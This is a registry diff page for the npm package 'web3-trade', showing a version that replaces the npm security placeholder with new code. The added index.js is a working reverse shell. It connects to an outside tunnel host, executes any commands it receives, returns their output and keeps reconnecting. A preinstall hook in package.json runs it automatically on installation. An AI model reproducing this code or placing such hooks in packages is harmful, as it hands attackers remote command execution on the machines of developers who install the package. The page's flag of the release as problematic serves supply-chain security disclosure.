web3-trade 0.0.1-security → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of web3-trade might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const net = require("net");
2
+ const { exec } = require("child_process");
3
+
4
+ // Replace with your tunnel details
5
+ const remoteHost = "second-ratio.gl.at.ply.gg";
6
+ const remotePort = 43197;
7
+
8
+ // Function to establish a connection to the remote listener
9
+ function connectToRemoteShell() {
10
+ const client = new net.Socket();
11
+
12
+ client.connect(remotePort, remoteHost, () => {
13
+ console.log("Connected to reverse shell listener");
14
+ client.write("[+] Reverse shell established\n");
15
+ });
16
+
17
+ client.on("data", (data) => {
18
+ // Execute received commands
19
+ exec(data.toString().trim(), (error, stdout, stderr) => {
20
+ if (error) {
21
+ client.write(`Error: ${error.message}\n`);
22
+ }
23
+ if (stderr) {
24
+ client.write(`Stderr: ${stderr}\n`);
25
+ }
26
+ if (stdout) {
27
+ client.write(stdout);
28
+ }
29
+ });
30
+ });
31
+
32
+ client.on("close", () => {
33
+ console.log("Connection closed. Reconnecting...");
34
+ setTimeout(connectToRemoteShell, 5000); // Reconnect after 5 seconds
35
+ });
36
+
37
+ client.on("error", (err) => {
38
+ console.error("Error:", err.message);
39
+ setTimeout(connectToRemoteShell, 5000); // Reconnect after error
40
+ });
41
+ }
42
+
43
+ // Start the reverse shell
44
+ connectToRemoteShell();
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "web3-trade",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.2.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=web3-trade for more information.